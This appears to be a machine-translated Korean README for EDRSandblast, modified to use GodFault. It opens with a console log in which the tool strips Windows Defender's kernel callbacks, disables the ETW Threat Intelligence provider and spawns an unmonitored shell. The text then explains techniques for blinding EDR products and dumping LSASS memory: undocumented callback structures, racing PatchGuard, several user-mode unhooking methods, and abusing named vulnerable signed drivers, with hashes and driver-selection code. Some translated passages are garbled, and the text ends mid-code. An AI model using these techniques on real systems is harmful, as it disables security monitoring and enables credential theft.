Elastic Security의 Gabriel Landau가 작성했습니다. EDRSandblast 수정 - 아래 원본 README를 참조하세요.
GodFault를 EDR Sandblast에 통합하여 취약한 드라이버를 사용하지 않고도 동일한 결과를 얻습니다.
C:UsersuserDesktopOffsets>EDRSandblast.exe --kernelmode cmd
______ _____ _____ _____ _ _ _ _
| ____| __ | __ / ____| | | | | | | |
| |__ | | | | |__) | (___ __ _ _ __ __| | |__ | | __ _ ___| |_
| __| | | | | _ / ___ / _` | '_ / _` | '_ | |/ _` / __| __|
| |____| |__| | | ____) | (_| | | | | (_| | |_) | | (_| __ | |_
|______|_____/|_| _|_____/ __,_|_| |_|__,_|_.__/|_|__,_|___/__|
D3FC0N 30 Edition | Thomas DIOT (@_Qazeer) & Maxime MEIGNAN (@th3m4ks)
[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)
[===== KERNEL MODE =====]
[+] Setting up prerequisites for the kernel read/write primitives...
[+] Loading kernel related offsets from the CSV file
[*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe
[+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)!
[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations...
[+] [NotifyRountines] Enumerating process creation callbacks
[+] Running command: GodFault.exe -t 2684
[?] Server does not appear to be running. Attempting to install it...
[+] CSRSS PID is 748
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] Thread 2684 (KTHREAD FFFF910961E4C080) has been blessed by GodFault
[+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500]
[+] [NotifyRountines] fffff8034e9efdc0 [WdFilter.sys + 0x4fdc0]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460]
[+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0]
[+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980]
[+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890]
[+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0]
[+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70]
[+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00]
[+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550]
[+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)
[+] [NotifyRountines] Enumerating thread creation callbacks
[+] [NotifyRountines] fffff8034e9f15c0 [WdFilter.sys + 0x515c0]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff8034e9f1350 [WdFilter.sys + 0x51350]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010]
[+] [NotifyRountines] Found a total of 2 EDR / security products driver(s)
[+] [NotifyRountines] Enumerating image loading callbacks
[+] [NotifyRountines] fffff8034e9f0820 [WdFilter.sys + 0x50820]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710]
[+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)
[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication...
[+] [ObjectCallblacks] Enumerating Process object callbacks :
[+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications:
[+] [ObjectCallblacks] Status: Enabled
[+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30]
[+] [ObjectCallblacks] Callback belongs to an EDR and is enabled!
[+] [ObjectCallblacks] Enumerating Thread object callbacks :
[+] [ObjectCallblacks] Object callbacks are present !
[+] [ETWTI] Checking the ETW Threat Intelligence Provider state...
[+] [ETWTI] ETW Threat Intelligence Provider is ENABLED!
[+] Process is NOT "safe" to launch our payload, removing monitoring and starting another process...
[+] [ETWTI] Disabling the ETW Threat Intel provider by patching ProviderEnableInfo at 0xffff91095ce8c430 with 0x00.
[+] [ETWTI] The ETW Threat Intel provider was successfully disabled!
[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading...
[+] [NotifyRountines] Removing process creation callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c2a8 | callback struct: 0xffff91095dbf3a5f | callback function: 0xfffff8034e9efdc0]
[+] [NotifyRountines] Removing thread creation callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a0 | callback struct: 0xffff91095dbf3b1f | callback function: 0xfffff8034e9f15c0]
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a8 | callback struct: 0xffff91095dbf3b4f | callback function: 0xfffff8034e9f1350]
[+] [NotifyRountines] Removing image loading callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c6a0 | callback struct: 0xffff91095dbf3e4f | callback function: 0xfffff8034e9f0820]
[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication...
[+] [ObjectCallblacks] Disabling WdFilter.sys callback...
[+] All EDR drivers were successfully removed from Kernel callbacks!
==================================================
Starting a new unmonitored process...
==================================================
[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)
[===== KERNEL MODE =====]
[+] Setting up prerequisites for the kernel read/write primitives...
[+] Loading kernel related offsets from the CSV file
[*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe
[+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)!
[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations...
[+] [NotifyRountines] Enumerating process creation callbacks
[+] Running command: GodFault.exe -t 8344
[+] Thread 8344 (KTHREAD FFFF91096169F080) has been blessed by GodFault
[+] Initial blessing successful
[+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500]
[+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460]
[+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0]
[+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980]
[+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890]
[+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0]
[+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70]
[+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00]
[+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550]
[+] [NotifyRountines] No EDR driver(s) found!
[+] [NotifyRountines] Enumerating thread creation callbacks
[+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010]
[+] [NotifyRountines] No EDR driver(s) found!
[+] [NotifyRountines] Enumerating image loading callbacks
[+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710]
[+] [NotifyRountines] No EDR driver(s) found!
[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication...
[+] [ObjectCallblacks] Enumerating Process object callbacks :
[+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications:
[+] [ObjectCallblacks] Status: Disabled
[+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30]
[+] [ObjectCallblacks] Callback belongs to an EDR but is disabled.
[+] [ObjectCallblacks] Enumerating Thread object callbacks :
[+] [ObjectCallblacks] Object callbacks are not found !
[+] [ETWTI] Checking the ETW Threat Intelligence Provider state...
[+] [ETWTI] ETW Threat Intelligence Provider is DISABLED!
[+] Process is "safe" to launch our payload
[+] Kernel callbacks have normally been removed, starting cmd.exe
WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)
WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!
Microsoft Windows [Version 10.0.22621.1702]
(c) Microsoft Corporation. All rights reserved.
C:UsersuserDesktopOffsets>
? 아래에 원본 README가 있습니까?
EDRSandBlast
는 취약한 서명된 드라이버를 무기화하여 EDR 감지(알림 루틴 콜백, 개체 콜백 및 ETW TI
제공자) 및 LSASS
보호를 우회하도록 C
로 작성된 도구입니다. 사용자 영역 모니터링을 회피하기 위해 여러 사용자 영역 연결 해제 기술도 구현됩니다.
릴리스부터 userland( --usermode
) 및 Kernel-land( --kernelmode
) 기술의 조합을 사용하여 제품에서 "OS 자격 증명 덤프" 관련 이벤트를 차단하거나 생성하지 않고 EDR 조사 하에 LSASS
메모리를 덤프했습니다(클라우드 ) 콘솔. 테스트는 3가지 EDR 제품에 대해 수행되었으며 각 경우에 성공했습니다.
EDR 제품은 Windows에서 커널 "알림 루틴" 콜백을 사용하여 프로세스 및 스레드 생성, 이미지 로드( exe
/ DLL
)와 같은 시스템 활동에 대해 커널로부터 알림을 받습니다.
이러한 커널 콜백은 문서화된 여러 API( nt!PsSetCreateProcessNotifyRoutine
, nt!PsSetCreateThreadNotifyRoutine
등)를 사용하여 커널 영역, 일반적으로 콜백을 구현하는 드라이버에서 정의됩니다. 이러한 API는 드라이버가 제공하는 콜백 루틴을 커널 공간의 문서화되지 않은 루틴 배열에 추가합니다.
PspCreateProcessNotifyRoutine
PspCreateThreadNotifyRoutine
PspLoadImageNotifyRoutine
EDRSandBlast
해당 어레이에 정의된 루틴을 열거하고 사전 정의된 EDR 드라이버 목록(1000개 이상의 보안 제품 드라이버 지원, EDR 드라이버 감지 섹션 참조)에 연결된 모든 콜백 루틴을 제거합니다. 열거 및 제거는 취약한 드라이버를 이용하여 제공되는 임의 커널 메모리 읽기/쓰기 기본 요소입니다(취약한 드라이버 섹션 참조).
앞서 언급한 배열의 오프셋은 여러 기술을 사용하여 복구됩니다. 오프셋 섹션을 참조하세요.
EDR(및 심지어 EPP) 제품은 종종 nt!ObRegisterCallbacks
커널 API를 사용하여 "객체 콜백"을 등록합니다. 이러한 콜백을 사용하면 특정 개체 유형에 대한 각 핸들 생성 시 보안 제품에 알림을 보낼 수 있습니다(프로세스, 스레드 및 데스크톱 관련 개체 콜백은 이제 Windows에서 지원됩니다). 핸들 생성은 객체 열기( OpenProcess
, OpenThread
등에 대한 호출) 및 핸들 복제( DuplicateHandle
에 대한 호출 등)에서 발생할 수 있습니다.
보안 제품은 이러한 각 작업에 대해 커널로부터 알림을 받음으로써 핸들 생성의 적법성을 분석하고( 예: 알 수 없는 프로세스가 LSASS를 열려고 함 ) 위협이 감지되면 핸들을 차단할 수도 있습니다.
ObRegisterCallbacks
를 사용하는 각 콜백 등록 시 콜백의 영향을 받는 개체 유형(프로세스, 스레드 또는 데스크탑)을 설명하는 _OBJECT_TYPE
개체에 있는 CallbackList
이중 연결 목록에 새 항목이 추가됩니다. 안타깝게도 이러한 항목은 Microsoft에서 기호 파일로 문서화하거나 게시하지 않은 구조로 설명됩니다. 그러나 다양한 ntoskrnl.exe
버전에서 이를 연구한 결과, (적어도) Windows 10 빌드 10240과 22000(2015년부터 2022년까지) 사이에 구조가 변경되지 않은 것으로 보입니다.
객체 콜백 등록을 나타내는 언급된 구조는 다음과 같습니다.
typedef struct OB_CALLBACK_ENTRY_t {
LIST_ENTRY CallbackList ; // linked element tied to _OBJECT_TYPE.CallbackList
OB_OPERATION Operations ; // bitfield : 1 for Creations, 2 for Duplications
BOOL Enabled ; // self-explanatory
OB_CALLBACK * Entry ; // points to the structure in which it is included
POBJECT_TYPE ObjectType ; // points to the object type affected by the callback
POB_PRE_OPERATION_CALLBACK PreOperation ; // callback function called before each handle operation
POB_POST_OPERATION_CALLBACK PostOperation ; // callback function called after each handle operation
KSPIN_LOCK Lock ; // lock object used for synchronization
} OB_CALLBACK_ENTRY ;
위에 언급된 OB_CALLBACK
구조도 문서화되지 않았으며 다음과 같이 정의됩니다.
typedef struct OB_CALLBACK_t {
USHORT Version ; // usually 0x100
USHORT OperationRegistrationCount ; // number of registered callbacks
PVOID RegistrationContext ; // arbitrary data passed at registration time
UNICODE_STRING AltitudeString ; // used to determine callbacks order
struct OB_CALLBACK_ENTRY_t EntryItems [ 1 ]; // array of OperationRegistrationCount items
WCHAR AltitudeBuffer [ 1 ]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer
} OB_CALLBACK ;
EDR 등록 객체 콜백을 비활성화하기 위해 EDRSandblast
에는 세 가지 기술이 구현됩니다. 그러나 현재는 하나만 활성화되어 있습니다.
OB_CALLBACK_ENTRY
의 Enabled
필드 사용 이는 EDRSandblast
에서 활성화된 기본 기술입니다. EDR 관련 객체 콜백을 감지하고 비활성화하기 위해 프로세스 및 스레드 유형에 연결된 _OBJECT_TYPE
객체에 있는 CallbackList
목록을 탐색합니다. 두 _OBJECT_TYPE
모두 커널의 공개 전역 기호인 PsProcessType
및 PsThreadType
으로 지정됩니다.
목록의 각 항목은 위에 설명된 OB_CALLBACK_ENTRY
구조에 맞는 것으로 가정됩니다(작성 당시 모든 Windows 10 빌드에서 최소한 유지되는 것으로 보이는 가정). PreOperation
및 PostOperation
필드에 정의된 함수는 EDR 드라이버에 속하는지 확인하기 위해 위치하며, 그렇다면 콜백은 Enabled
플래그를 전환하여 비활성화됩니다.
꽤 안전한 기술이기는 하지만, 문서화되지 않은 구조에 의존해야 한다는 불편함이 있습니다. 이 구조의 안전하지 않은 조작 위험을 줄이기 위해 일부 필드에 예상 값이 있는지 확인하기 위한 기본 검사가 수행됩니다.
Enabled
TRUE
또는 FALSE
입니다( 웃지 마세요. BOOL
은 int
이므로 1
또는 0
이외의 다른 것이 될 수 있습니다 ).Operations
OB_OPERATION_HANDLE_CREATE
, OB_OPERATION_HANDLE_DUPLICATE
또는 둘 다입니다.ObjectType
PsProcessType
또는 PsThreadType
을 가리킵니다. CallbackList
연결 해제 문서화되지 않은 구조에 의존하지 않는(따라서 이론적으로 NT 커널 변경에 대해 더 강력한) 또 다른 전략은 프로세스와 스레드 모두에 대해 전체 CallbackList
의 링크를 해제하는 것입니다. _OBJECT_TYPE
개체는 다음과 같습니다.
struct _OBJECT_TYPE {
LIST_ENTRY TypeList ;
UNICODE_STRING Name ;
[...]
_OBJECT_TYPE_INITIALIZER TypeInfo ;
[...]
LIST_ENTRY CallbackList ;
}
CallbackList
LIST_ENTRY
의 Flink
및 Blink
포인터가 LIST_ENTRY
자체를 가리키도록 하면 사실상 목록이 비어 있게 됩니다. _OBJECT_TYPE
구조는 커널 기호에 게시되므로 이 기술은 하드코딩된 오프셋/구조에 의존하지 않습니다. 그러나 몇 가지 단점이 있습니다.
첫 번째는 EDR의 콜백만 비활성화할 수 없다는 점입니다. 실제로 이 기술은 "합법적인" 소프트웨어에 의해 등록될 수 있는 모든 객체 콜백에 영향을 미칩니다. 그럼에도 불구하고 개체 콜백은 Windows 10에 사전 설치된 구성 요소(작성 당시)에서 사용되지 않으므로 개체 콜백을 비활성화해도 시스템 안정성에 영향을 미치지 않습니다(비활성화가 일시적인 경우에는 더욱 그렇습니다).
두 번째 단점은 OS의 정상적인 작동에서 프로세스 또는 스레드 핸들 작업이 실제로 빈번하게(거의 연속적으로) 발생한다는 것입니다. 따라서 사용된 커널 쓰기 기본 요소가 QWORD
쓰기를 "원자적으로" 수행할 수 없는 경우 덮어쓰기 도중에 커널이 _OBJECT_TYPE.CallbackList.Flink
포인터에 액세스할 가능성이 높습니다. 예를 들어, MSI 취약 드라이버 RTCore64.sys
한 번에 DWORD
쓰기만 수행할 수 있으므로 포인터를 덮어쓰려면 2개의 개별 IOCTL이 필요하며, 그 사이에 커널은 포인터를 사용할 가능성이 높습니다(결국 충돌 발생). 반면 취약한 DELL 드라이버 DBUtil_2_3.sys
는 하나의 IOCTL에서 임의 크기의 쓰기를 수행할 수 있으므로 이 방법을 사용하면 충돌이 발생할 위험이 없습니다.
우리가 발견한 마지막 기술 중 하나는 스레드 및 프로세스에 대한 객체 콜백 지원을 완전히 비활성화하는 것이었습니다. 프로세스 및 스레드 유형에 해당하는 _OBJECT_TYPE
구조 내부에는 문서화된 _OBJECT_TYPE_INITIALIZER
구조 뒤에 TypeInfo
필드가 있습니다. 후자에는 설명된 개체 유형(프로세스, 스레드, 데스크톱, 토큰, 파일 등)이 개체 콜백 등록을 지원하는지 여부를 SupportsObjectCallbacks
플래그가 결정하는 ObjectTypeFlags
비트 필드가 포함되어 있습니다. 이전에 설명한 대로 이 글을 쓰는 시점에는 프로세스, 스레드 및 데스크톱 개체 유형만 Windows 설치에서 이러한 콜백을 지원합니다.
SupportsObjectCallbacks
비트는 CallbackList
읽기 전(그리고 물론 콜백을 실행하기 전)에 ObpCreateHandle
또는 ObDuplicateObject
에 의해 확인되므로 커널 런타임에서 비트를 뒤집으면 모든 개체 콜백 실행이 효과적으로 비활성화됩니다.
이 방법의 주요 단점은 단순히 KPP (" PatchGuard ")가 일부(모두?) _OBJECT_TYPE
구조의 무결성을 모니터링하고 매개변수 4가 0x8
과 동일한 0x109 Bug Check
트리거한다는 것입니다. 이는 객체 유형 구조가 변경되었음을 의미합니다.
그러나 비활성화/재활성화(그리고 그 사이의 "악의적인" 작업)를 신속하게 수행하는 것만으로도 PatchGuard를 "경주"하기에 충분할 것입니다(운이 좋지 않아 주기적인 검사가 잘못된 순간에 수행되지 않는 한).
ETW Microsoft-Windows-Threat-Intelligence
공급자는 일반적으로 악의적으로 사용되는 일부 Windows API의 사용에 대한 데이터를 기록합니다. 여기에는 nt! nt!NtReadVirtualMemory
( LSASS
메모리를 덤프하는 데 사용됨)에 의해 호출되고 nt!EtwTiLogReadWriteVm
함수에 의해 모니터링되는 nt! nt!MiReadWriteVirtualMemory
API가 포함됩니다.
EDR 제품은 각각 SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT
또는 PS_PROTECTED_ANTIMALWARE_LIGHT
로 실행되고 Early Launch Anti Malware (ELAM)
드라이버와 연결된 서비스 또는 프로세스를 통해 ETW TI
공급자가 생성한 로그를 사용할 수 있습니다.
CNO Development Labs
블로그 게시물에서 slaeryan
이 게시한 대로 ETW TI
공급자는 커널 메모리에서 해당 ProviderEnableInfo
속성을 0x0
으로 패치하여 완전히 비활성화할 수 있습니다. 이 기술에 대한 자세한 내용은 앞서 언급한 훌륭한 블로그 게시물을 참조하세요.
커널 콜백 제거와 마찬가지로 필요한 ntoskrnl.exe
오프셋( nt!EtwThreatIntProvRegHandleOffset
, _ETW_REG_ENTRY
의 GuidEntry
및 _ETW_GUID_ENTRY
의 ProviderEnableInfo
)은 여러 Windows 커널 버전에 대해 NtoskrnlOffsets.csv
파일에서 계산됩니다.
프로세스에서 수행되는 작업을 쉽게 모니터링하기 위해 EDR 제품은 종종 사용자 영역 후킹 이라는 메커니즘을 배포합니다. 첫째, EDR 제품은 프로세스가 시작될 때마다 알림을 받을 수 있는 커널 콜백(일반적으로 이미지 로딩 또는 프로세스 생성 콜백, 위 참조)을 등록합니다.
Windows에서 프로세스를 로드하고 실제로 시작하기 전에 EDR은 모니터링 논리가 포함된 일부 사용자 지정 DLL을 프로세스 주소 공간에 주입할 수 있습니다. 로드하는 동안 이 DLL은 EDR에서 모니터링할 모든 기능의 시작 부분에 " 후크 "를 삽입합니다. 런타임 시 감시 중인 프로세스에서 모니터링되는 기능을 호출하면 이러한 후크는 제어 흐름을 EDR의 DLL에 있는 일부 감독 코드로 리디렉션하여 이러한 호출의 인수와 반환 값을 검사할 수 있도록 합니다.
대부분의 경우 모니터링되는 함수는 구현이 ntdll.dll
에 있는 시스템 호출(예: NtReadVirtualMemory
, NtOpenProcess
등)입니다. Nt*
함수에 대한 호출을 가로채면 제품이 사용자 영역/커널 영역 경계에 최대한 가까워질 수 있지만(사용자 영역에 남아 있는 동안) 일부 상위 수준 DLL의 기능도 모니터링될 수 있습니다.
다음은 EDR 제품에 연결되기 전과 후의 동일한 기능의 예입니다.
NtProtectVirtualMemory proc near
mov r10 , rcx
mov eax , 50h
test byte ptr ds : 7FFE0308h , 1
jnz short loc_18009D1E5
syscall
retn
loc_18009D1E5:
int 2Eh
retn
NtProtectVirtualMemory endp
NtProtectVirtualMemory proc near
jmp sub_7FFC74490298 ; --> "hook", jump to EDR analysis function
int 3 ; overwritten instructions
int 3 ; overwritten instructions
int 3 ; overwritten instructions
test byte_7FFE0308 , 1 ; <-- execution resumes here after analysis
jnz short loc_7FFCB44AD1E5
syscall
retn
loc_7FFCB44AD1E5:
int 2Eh
retn
NtProtectVirtualMemory endp
사용자 영역 후크에는 사용자 영역 메모리에 위치하는 "약점"이 있습니다. 즉, 조사 중인 프로세스에서 직접 관찰하고 수정할 수 있습니다. 프로세스 주소 공간에서 후크를 자동으로 감지하기 위한 주요 아이디어는 디스크의 원래 DLL과 EDR에 의해 잠재적으로 변경된 메모리에 상주하는 라이브러리 간의 차이점을 비교하는 것입니다. 이 비교를 수행하기 위해 EDRSandblast는 다음 단계를 따릅니다.
PEB
에 있는 InLoadOrderModuleList
덕분에 열거됩니다(모니터링되고 의심될 수 있는 API 호출을 방지하기 위해). 참고: 이 프로세스는 내보낸 기능이 시작될 때뿐만 아니라 쓰기 불가능한 섹션의 어디에서나 차이점을 찾기 위해 일반화될 수 있습니다. 예를 들어 EDR 제품이 기능 중간에 후크를 적용하기 시작하는 경우입니다. 따라서 이 도구에서는 사용되지 않습니다. findDiffsInNonWritableSections
에 구현되었습니다.
이러한 후크에 의해 수행되는 모니터링을 우회하기 위해 여러 가지 기술이 가능하며 각 기술에는 장점과 단점이 있습니다.
Hook 기반 모니터링을 우회하는 가장 직관적인 방법은 Hook를 제거하는 것입니다. 후크는 프로세스 자체에서 접근할 수 있는 메모리에 존재하므로 후크를 제거하려면 프로세스는 다음을 수행하면 됩니다.
이 접근 방식은 매우 간단하며 감지된 모든 후크를 한 번에 제거하는 데 사용할 수 있습니다. 처음에는 공격 도구에 의해 수행되므로 나머지 코드는 후킹 메커니즘을 전혀 인식하지 못하고 모니터링되지 않고 정상적으로 수행될 수 있습니다.
그러나 두 가지 주요 단점이 있습니다. EDR은 아마도 NtProtectVirtualMemory
의 사용을 모니터링하고 있으므로 이를 사용하여 후크가 설치된 페이지의 권한을 변경하는 것은 (적어도 개념적으로는) 나쁜 생각입니다. 또한 스레드가 EDR에 의해 실행되고 정기적으로 후크의 무결성을 확인하는 경우 일부 감지가 트리거될 수도 있습니다.
구현 세부 정보는 unhook_method
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY
일 때 unhook()
함수의 코드 경로를 확인하세요.
중요 사항: 단순화를 위해 이 기술은 다른 우회 기술을 보여주는 데 사용되는 기본 기술로 EDRSandblast에서 구현됩니다. 각각은 모니터링되지 않는 NtProtectVirtualMemory
버전을 얻는 방법을 보여 주지만 나중에 동일한 작업을 수행합니다(특정 후크 해제).
특정 후크를 우회하려면 간단히 "점프 오버"하고 나머지 기능을 그대로 실행하면 됩니다. 먼저, 후크를 설치하기 위해 EDR이 덮어쓴 모니터링되는 기능의 원본 바이트를 DLL 파일에서 복구해야 합니다. 이전 코드 예제에서 이는 다음 지침에 해당하는 바이트입니다.
mov r10 , rcx
mov eax , 50h
앞에서 설명한 대로 라이브러리의 메모리 버전과 디스크 버전 모두에 대한 명확한 차이를 수행할 수 있으므로 이러한 바이트를 식별하는 것은 간단한 작업입니다. 그런 다음 NtProtectVirtualMemory + sizeof(overwritten_instructions)
주소에서 후크 바로 다음 코드로 제어 흐름을 리디렉션하기 위해 작성된 점프 명령을 어셈블합니다.
jmp NtProtectVirtualMemory + 8
마지막으로 이러한 opcode를 연결하고 (새로) 실행 가능한 메모리에 저장하고 이에 대한 포인터를 유지합니다. 이 객체는 " 트램폴린 "이라고 불리며 원래 NtProtectVirtualMemory
함수와 완전히 동일한 함수 포인터로 사용될 수 있습니다.
아래의 모든 기술과 마찬가지로 이 기술의 주요 이점은 후크가 절대 지워지지 않으므로 EDR이 후크에 대해 수행하는 모든 무결성 검사를 통과해야 한다는 것입니다. 그러나 쓰기 가능한 메모리와 실행 가능한 메모리를 할당해야 하는데, 이는 전형적인 쉘코드 할당이므로 EDR의 조사가 필요합니다.
구현 세부 사항은 unhook_method
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE
일 때 unhook()
함수의 코드 경로를 확인하세요. 이 기술은 우리의 구현에서만 소개되었으며, 결국에는 아래의 모든 기술과 같이 메모리에서 후크를 제거하는 데 사용된다는 점을 기억하십시오.
후크가 작동하려면 EDR 제품이 제거한 opcode를 메모리 어딘가에 저장해야 합니다. 최악의 경우( 또는 공격자의 관점에서 볼 때 "더 나은" 경우 )는 원래 지침을 효과적으로 사용하기 위해 EDR이 호출을 가로챈 후 원래 기능을 실행할 어딘가에 트램폴린 을 할당했을 가능성이 높습니다.
이 트램펄린은 실행 가능한 메모리를 할당하거나 무해한 함수로 모니터링되지 않는 VirtualQuery
제외한 모든 API를 호출할 필요 없이 후크된 함수를 검색하여 대체할 수 있습니다.
메모리에서 트램폴린을 찾기 위해 VirtualQuery
사용하여 커밋된 메모리와 실행 가능한 메모리를 찾는 전체 주소 공간을 탐색합니다. 이러한 각 메모리 영역에 대해 덮어쓴 명령어(이전 예에서는 NtProtectVirtualMemory+8
) 다음의 주소를 대상으로 하는 점프 명령어를 찾기 위해 스캔합니다. 그런 다음 트램폴린을 사용하여 후크를 트리거하지 않고 후크된 함수를 호출할 수 있습니다.
이 기술은 테스트된 EDR에서 거의 모든 트램펄린을 복구하므로 놀랍게도 잘 작동합니다. 구현 세부 사항은 unhook_method
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE
일 때 unhook()
함수의 코드 경로를 확인하세요.
모니터링되지 않는 NtProtectVirtualMemory
함수 버전에 액세스하는 또 다른 간단한 방법은 ntdll.dll
라이브러리의 중복 버전을 프로세스 주소 공간에 로드하는 것입니다. 두 개의 동일한 DLL이 동일한 프로세스에서 로드될 수 있으므로 이름이 다른 경우 합법적인 ntdll.dll
파일을 다른 위치에 복사하고 LoadLibrary
사용하여 로드(또는 로딩 프로세스를 다시 구현)한 다음 GetProcAddress
사용하여 함수에 액세스할 수 있습니다. 예를 들어.
이 기술은 이해하고 구현하기가 매우 간단하며 프로세스가 실행되면 대부분의 EDR 제품이 새로 로드된 DLL에 후크를 다시 설치하지 않기 때문에 성공할 가능성이 높습니다. 그러나 가장 큰 단점은 Microsoft 서명 바이너리를 다른 이름으로 복사하는 것이 EDR 제품 자체에서도 의심스러운 것으로 간주되는 경우가 많다는 것입니다.
그럼에도 불구하고 이 기술은 EDRSandblast
에서 구현됩니다. 구현 세부 정보는 unhook_method
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY
인 경우 unhook()
함수의 코드 경로를 확인하세요.
시스템 호출 관련 기능을 사용하기 위해 하나의 프로그램은 EDR에서 모니터링할 수 있는 ntdll.dll
의 코드를 실제로 건드리지 않고도 해당 OS 기능을 호출하기 위해 syscall(어셈블리에서)을 다시 구현할 수 있습니다. 이는 ntdll.dll
의 syscall 함수에서 수행된 모든 사용자 영역 후킹을 완전히 우회합니다.
그럼에도 불구하고 여기에는 몇 가지 단점이 있습니다. 첫째, 이는 프로그램에 필요한 함수의 시스템 콜 번호 목록(Windows 버전마다 변경됨)을 알 수 있음을 의미합니다. 그럼에도 불구하고 이는 Windows NT의 모든 이전 버전에서 작동하는 것으로 알려진 여러 경험적 방법( ntdll
's' Zw*
내보내기 정렬, mov rax 검색, 관련 ntdll
함수의 mov rax, #syscall_number
명령 등)을 구현하여 완화됩니다. 모두 동일한 결과를 반환하는지 확인합니다(자세한 내용은 Syscalls.c
참조).
또한 기술적으로 syscall이 아닌 기능(예: LoadLibraryX
/ LdrLoadDLL
)도 모니터링할 수 있으며 syscall을 사용하여 간단히 다시 구현할 수는 없습니다.
직접 시스템 호출 기술은 EDRSandblast에서 구현됩니다. 앞서 설명한 대로 NtProtectVirtualMemory
안전하게 실행하고 감지된 모든 후크를 제거하는 데에만 사용됩니다.
구현 세부 사항은 unhook_method
UNHOOK_WITH_DIRECT_SYSCALL
일 때 unhook()
함수의 코드 경로를 확인하세요.
이전에 언급한 것처럼 커널 메모리 읽기 또는 쓰기가 필요한 모든 작업은 이 기본 요소를 제공하는 취약한 드라이버에 의존합니다. EDRSanblast에서는 읽기/쓰기 기본 요소를 제공하는 새 드라이버에 대한 지원을 "쉽게" 추가할 수 있으며 세 가지 기능만 구현하면 됩니다.
Address
에서 사용자 영역 버퍼 Buffer
로 Size
바이트를 복사하는 ReadMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)
함수;Buffer
에서 커널 주소 Address
로 Size
바이트를 복사하는 WriteMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)
함수.CloseDriverHandle_DRIVERNAME()
(현재는 드라이버에 구애받지 않는 제거 작업 전에 필요함). 예를 들어, 현재 EDRSandblast에서는 RTCore64.sys
(SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD
) 및 DBUtils_2_3.sys
(SHA256: 0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5
). KernelMemoryPrimitives.h
의 다음 코드는 사용된 취약한 드라이버를 변경해야 하거나 새 드라이버를 구현하는 경우 업데이트됩니다.
#define RTCore 0
#define DBUtil 1
// Select the driver to use with the following #define
#define VULN_DRIVER RTCore
#if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define CloseDriverHandle CloseDriverHandle_RTCore
